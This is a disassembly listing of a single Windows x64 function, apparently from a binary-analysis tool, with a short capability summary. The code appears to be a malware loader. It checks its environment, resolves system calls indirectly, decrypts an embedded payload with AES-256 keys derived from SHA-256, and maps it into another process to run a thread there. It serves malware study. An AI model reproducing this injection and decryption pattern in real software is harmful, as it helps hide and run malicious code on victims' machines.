Function at 0x140001fd0
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
sub rsp, 0x1b8
mov qword [rsp + 0x1a8], rdx
mov byte [rsp + 0x1a7], cl
mov rcx, qword [rsp + 0x1a8]
call section..text
cmp eax, 0xfd8d007a
je 0x140002072
call fcn.140001ec0
cmp eax, 0
je 0x140002068
lea rcx, [0x1401e1210]
lea rdx, [0x14019c480]
add rdx, 0x53
call fcn.140002d00
lea rcx, [0x1401e1200]
lea rdx, [0x14019c480]
add rdx, 0x1c
call fcn.140002c70
xor eax, eax
mov ecx, eax
lea rdx, [0x1401e1210]
lea r8, [0x1401e1200]
xor r9d, r9d
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x14000206d
jmp 0x140002072
call fcn.140001a90
cmp eax, 0
jne 0x140002090
mov dword [rsp + 0x1b4], 0
jmp 0x140002c55
mov dword [rsp + 0x1a0], 0
mov qword [rsp + 0x198], 0
mov rax, qword [0x14019c470]
mov qword [rsp + 0x170], rax
mov rax, qword [0x14019c478]
mov qword [rsp + 0x178], rax
mov dword [rsp + 0x16c], 0x10
mov dword [rsp + 0x168], 0x5d230
mov dword [rsp + 0x164], 0
mov dword [rsp + 0x160], 0
lea rax, [rsp + 0x170]
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x148], 0
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x118], 0
mov eax, dword [rsp + 0x168]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x108], 0x100000
mov rax, qword [rsp + 0x110]
mov dword [rsp + 0x100], eax
mov dword [rsp + 0x104], 0
mov rdx, qword [0x1401e11b0]
mov ecx, dword [0x1401e11a0]
call fcn.14015c220
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x138]
xor r8d, r8d
lea r9, [rsp + 0x110]
mov dword [rsp + 0x20], 0x3000
mov dword [rsp + 0x28], 4
call fcn.14015c242
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x1400021f7
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rcx, qword [rsp + 0x138]
lea rdx, [0x1401b2a50]
mov r8d, 0x2db40
call fcn.140001e40
mov rcx, qword [rsp + 0x138]
add rcx, 0x2db40
lea rdx, [0x14016cd80]
mov r8d, 0x2f6f0
call fcn.140001e40
xor eax, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GlobalSize]
xor eax, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_LocalSize]
xor eax, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GlobalFlags]
xor eax, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GlobalHandle]
xor eax, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_LocalHandle]
mov rdx, qword [0x1401e11b0]
mov ecx, dword [0x1401e11a0]
call fcn.14015c220
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x140]
xor r8d, r8d
lea r9, [rsp + 0x108]
mov dword [rsp + 0x20], 0x3000
mov dword [rsp + 0x28], 4
call fcn.14015c242
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x1400022c5
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0xb0], rax
mov rdx, qword [0x1401e1198]
mov ecx, dword [0x1401e1188]
call fcn.14015c220
mov rdx, qword [rsp + 0x140]
mov ecx, 5
mov r8d, 0x100000
xor eax, eax
mov r9d, eax
call fcn.14015c242
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x140002324
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
jmp 0x140002329
mov rax, qword [rsp + 0xb0]
cmp dword [rax], 0
je 0x140002395
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xb0]
mov ecx, dword [rcx]
add rax, rcx
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rax + 0x40]
lea rdx, [0x14019c642]
call fcn.140160a88
cmp eax, 0
jne 0x140002390
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x50]
mov dword [rsp + 0x160], eax
jmp 0x140002395
jmp 0x140002329
mov qword [rsp + 0x108], 0
mov rdx, qword [0x1401e11c8]
mov ecx, dword [0x1401e11b8]
call fcn.14015c220
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x108]
mov r9d, 0x8000
call fcn.14015c242
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x1400023f5
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov qword [rsp + 0xc0], 0
mov ecx, dword [rsp + 0x160]
call fcn.140003040
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0xc8], 0x30
mov qword [rsp + 0xd0], 0
mov dword [rsp + 0xe0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0xf0], 0
mov rdx, qword [0x1401e1108]
mov ecx, dword [0x1401e10f8]
call fcn.14015c220
lea rcx, [rsp + 0x120]
mov edx, 0x1fffff
lea r8, [rsp + 0xc8]
lea r9, [rsp + 0xb8]
call fcn.14015c242
mov dword [rsp + 0x1a0], eax
cmp eax, 0
jne 0x1400024ae
cmp qword [rsp + 0x120], 0
jne 0x1400024be
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rdx, qword [0x1401e1150]
mov ecx, dword [0x1401e1140]
call fcn.14015c220
lea rcx, [rsp + 0x128]
mov edx, 0xe
xor eax, eax
mov r8d, eax
lea r9, [rsp + 0x100]
mov dword [rsp + 0x20], 0x40
mov dword [rsp + 0x28], 0x8000000
mov qword [rsp + 0x30], 0
call fcn.14015c242
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x140002528
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rdx, qword [0x1401e1120]
mov ecx, dword [0x1401e1110]
call fcn.14015c220
mov rcx, qword [rsp + 0x128]
mov rdx, 0xffffffffffffffff
lea r8, [rsp + 0x148]
xor eax, eax
mov r9d, eax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x48], 4
call fcn.14015c242
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x1400025b3
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rdx, qword [0x1401e1120]
mov ecx, dword [0x1401e1110]
call fcn.14015c220
mov rdx, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x128]
lea r8, [rsp + 0x150]
xor eax, eax
mov r9d, eax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x48], 0x10
call fcn.14015c242
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x14000263f
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov eax, dword [rsp + 0x16c]
mov r8d, eax
mov rdx, qword [rsp + 0x158]
mov cl, byte [rsp + 0x1a7]
lea r9, [rsp + 0x130]
call fcn.140001d50
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x60], rax
lea rcx, [0x1401e1238]
lea rdx, [0x14019c480]
add rdx, 0xa2
call fcn.140002d80
mov rcx, qword [rsp + 0x60]
lea rdx, [0x1401e1238]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x68], rax
lea rcx, [0x1401e1254]
lea rdx, [0x14019c480]
add rdx, 0xef
call fcn.140002e10
mov rcx, qword [rsp + 0x68]
lea rdx, [0x1401e1254]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x70], rax
lea rcx, [0x1401e1268]
lea rdx, [0x14019c480]
add rdx, 0x131
call fcn.140002ea0
mov rcx, qword [rsp + 0x70]
lea rdx, [0x1401e1268]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x78], rax
lea rcx, [0x1401e127c]
lea rdx, [0x14019c480]
add rdx, 0x163
call fcn.140002f20
mov rcx, qword [rsp + 0x78]
lea rdx, [0x1401e127c]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x80], rax
lea rcx, [0x1401e1290]
lea rdx, [0x14019c480]
add rdx, 0x19b
call fcn.140002fb0
mov rcx, qword [rsp + 0x80]
lea rdx, [0x1401e1290]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x190]
xor eax, eax
mov r8d, eax
mov r9d, 0x18
mov rdx, r8
mov dword [rsp + 0x20], 0xf0000000
call qword [rsp + 0xa8]
cmp eax, 0
jne 0x140002803
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x190]
mov edx, 0x800c
xor r8d, r8d
xor r9d, r9d
lea r10, [rsp + 0x188]
mov qword [rsp + 0x20], r10
call rax
cmp eax, 0
jne 0x140002846
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rax, qword [rsp + 0x98]
mov r8d, dword [rsp + 0x16c]
mov rdx, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x188]
xor r9d, r9d
call rax
cmp eax, 0
jne 0x140002884
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rax, qword [rsp + 0x90]
mov r8, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x190]
mov edx, 0x6610
xor r9d, r9d
lea r10, [rsp + 0x180]
mov qword [rsp + 0x20], r10
call rax
cmp eax, 0
jne 0x1400028cc
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rax, qword [rsp + 0x88]
mov r11, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x180]
xor edx, edx
xor r9d, r9d
lea r10, [rsp + 0x168]
mov r8d, r9d
mov qword [rsp + 0x20], r11
mov qword [rsp + 0x28], r10
call rax
cmp eax, 0
jne 0x140002919
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov r8d, dword [rsp + 0x168]
mov rdx, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x148]
call fcn.140001e40
mov qword [rsp + 0x110], 0
mov rdx, qword [0x1401e11c8]
mov ecx, dword [0x1401e11b8]
call fcn.14015c220
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x138]
lea r8, [rsp + 0x110]
mov r9d, 0x8000
call fcn.14015c242
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x140002996
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rdx, qword [0x1401e1138]
mov ecx, dword [0x1401e1128]
call fcn.14015c220
mov rdx, qword [rsp + 0x148]
mov rcx, 0xffffffffffffffff
call fcn.14015c242
cmp eax, 0
setne al
mov cl, al
and cl, 1
movzx ecx, cl
mov dword [rsp + 0x1a0], ecx
test al, 1
jne 0x1400029de
jmp 0x1400029ee
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rdx, qword [0x1401e1180]
mov ecx, dword [0x1401e1170]
call fcn.14015c220
mov rcx, qword [rsp + 0x128]
call fcn.14015c242
cmp eax, 0
setne al
mov cl, al
and cl, 1
movzx ecx, cl
mov dword [rsp + 0x1a0], ecx
test al, 1
jne 0x140002a2f
jmp 0x140002a3f
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rdx, qword [0x1401e1090]
mov ecx, dword [0x1401e1080]
call fcn.14015c220
mov rax, qword [rsp + 0x150]
mov r9, qword [rsp + 0x120]
lea rcx, [rsp + 0x118]
mov edx, 0x1fffff
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
call fcn.14015c242
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x140002ad0
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rdx, qword [0x1401e1078]
mov ecx, dword [0x1401e1068]
call fcn.14015c220
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x150]
lea r8, [rsp + 0x110]
mov r9d, 1
lea rax, [rsp + 0x164]
mov qword [rsp + 0x20], rax
call fcn.14015c242
cmp eax, 0
setne al
mov cl, al
and cl, 1
movzx ecx, cl
mov dword [rsp + 0x1a0], ecx
test al, 1
jne 0x140002b34
jmp 0x140002b44
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov qword [rsp + 0xf8], 0xfffffffffe363c80
mov rdx, qword [0x1401e10d8]
mov ecx, dword [0x1401e10c8]
call fcn.14015c220
xor ecx, ecx
lea rdx, [rsp + 0xf8]
call fcn.14015c242
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x140002b91
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rdx, qword [0x1401e1078]
mov ecx, dword [0x1401e1068]
call fcn.14015c220
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x150]
lea r8, [rsp + 0x110]
mov r9d, 0x10
lea rax, [rsp + 0x164]
mov qword [rsp + 0x20], rax
call fcn.14015c242
cmp eax, 0
setne al
mov cl, al
and cl, 1
movzx ecx, cl
mov dword [rsp + 0x1a0], ecx
test al, 1
jne 0x140002bf5
jmp 0x140002c05
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rdx, qword [0x1401e10f0]
mov ecx, dword [0x1401e10e0]
call fcn.14015c220
mov rcx, qword [rsp + 0x118]
xor eax, eax
mov edx, eax
call fcn.14015c242
cmp eax, 0
setne al
mov cl, al
and cl, 1
movzx ecx, cl
mov dword [rsp + 0x1a0], ecx
test al, 1
jne 0x140002c4a
jmp 0x140002c55
mov dword [rsp + 0x1b4], 0xffffffff
mov eax, dword [rsp + 0x1b4]
add rsp, 0x1b8
ret